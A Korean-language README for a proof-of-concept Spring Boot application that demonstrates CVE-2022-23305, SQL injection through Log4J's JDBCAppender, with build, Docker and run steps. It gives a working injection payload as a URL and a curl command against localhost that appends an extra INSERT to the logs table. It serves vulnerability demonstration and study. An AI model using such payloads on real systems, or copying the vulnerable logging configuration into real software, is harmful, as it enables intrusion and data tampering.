
CVE-2022-23305 Log4J JDBCAppender SQl 인젝션 POC
이것은 CVE-2022-23305 취약점을 시연하는 매우 간단한 Spring Boot 기반 애플리케이션입니다. Apache Maven, Spring Boot, Spring MVC 및 H2 인메모리 데이터베이스를 사용하여 URL 쿼리 문자열 매개변수로 전달된 하나의 간단한 항목을 기록합니다. Log4J가 JDBCAppender를 사용하도록 구성되어 있기 때문에 SQL 인젝션에 취약합니다.
로깅 구문은 src/main/java/poc/InjectionController.java를 참조하십시오.
모든 구성 파일은 src/main/resource 폴더를 참조하십시오.
Java와 Maven을 사용하여 "mvn clean spring-boot:run" 명령으로 애플리케이션을 실행할 수 있습니다.
다음과 같이 Docker 애플리케이션으로 실행할 수도 있습니다.
docker build --tag log4j-poc .
docker run -p 8080:8080 log4j-poc
애플리케이션은 http://localhost:8080/에서 접근할 수 있습니다.
취약점을 악용하려면 로깅되는 매개변수로 인젝션된 SQL 문을 제출하십시오.
"http://localhost:8080/?param=');insert into logs values(':("
반환값은 추가된 로그 항목들을 나열하며, 그중에는 매개변수에 주입된 SQL에 의해 추가된 항목이 포함됩니다.
curl로 동일한 작업을 수행하려면 다음을 사용하십시오.
curl 'http://localhost:8080/?param=%27);insert%20into%20logs%20values(%27:('